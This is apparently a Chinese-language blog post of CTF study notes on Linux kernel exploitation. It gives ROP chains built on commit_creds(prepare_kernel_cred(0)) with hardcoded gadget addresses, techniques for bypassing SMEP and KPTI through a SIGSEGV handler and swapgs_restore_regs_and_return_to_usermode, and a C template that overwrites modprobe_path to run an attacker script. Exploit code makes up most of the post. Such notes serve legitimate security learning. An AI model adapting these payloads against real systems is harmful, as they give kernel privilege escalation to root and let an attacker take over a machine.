Linux Kernel Exploitation Tricks

跟着H0pe师傅学的Kernel-Pwn,记录一下防忘

绕过SEMP

修改RC4

开启SMEP保护实际是将CR4寄存器的第20比特位置为1,native_write_cr4(size_t new_cr4)函数可以设置cr4寄存器的值
该方法在某次patch后不可用

ROP

找Gadgets执行commit_creds(prepare_kernel_cred(0))然后swapgs,iretq返回用户态。
ROP Chain :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned long payload[256];
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;

栈迁移到mmap后ROP

通过pop rbp; ret; mov rsp, rbp; pop rbp; ret;这样的Gadgets将rsp设置为mmap开辟的地址,mmap内放ROP Chain。

绕过KPTI

KPTI将用户页和内核页隔离,内核页找不到用户页,反之同样。上述利用方法在iretq的时候都会用到到用户的backdoor地址,开启KPTI后内核就找不到这个地址了。

通过异常处理

注册一个异常处理的函数去捕获SIGSEGV信号,在捕获到该信号时执行异常处理函数,可自定义为system(“/bin/sh”)

1
signal(SIGSEGV, backdoor);

通过swapgs_restore_regs_and_return_to_usermode

CR3用于存储页目录表(Page Directory Table)的物理地址。每个进程的CR3独立,内核与用户态进程都有独立的CR3,swapgs_restore_regs_and_return_to_usermode函数可以将CR3设置为用户态的。swapgs_restore_regs_and_return_to_usermode函数内部存在swapgs和iretq,只要将栈布置好就可以一把梭。
ROP Chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;

swapgs_restore_regs_and_return_to_usermode + 22是为了跳过函数前面的一堆pop。

modprobe_path

运行带有错误文件头的程序内核会执行modprobe_path处的文件,改写modprobe_path可导致执行任意文件
模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
unsigned long modprobe_path = 0xffffffff00000000;
void setup()
{
system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/p");
system("chmod a+x /tmp/p");
system("echo -ne '\xff\xff\xff\xff' > /tmp/exec");
system("chmod a+x /tmp/exec");
}

void getflag()
{
system("/tmp/exec ; cat /tmp/flag");
}

int main()
{
setup();
syscall(548, modprobe_path, "/tmp/p"); // 任意地址写
getflag();
}

copy_user_generic_unrolled

copy_user_generic_unrolled(to, from, 8)读取/写入失败时,其返回的是读取/写入失败的字节数,而成功时则返回 0,可以利用该特性爆破内核地址。


Linux Kernel Exploitation Tricks
https://www.w4y2sh3ll.top/2024/09/19/Linux-Kernel-Exploitation-Tricks/
作者
W4y2Sh3ll
发布于
2024年9月19日
许可协议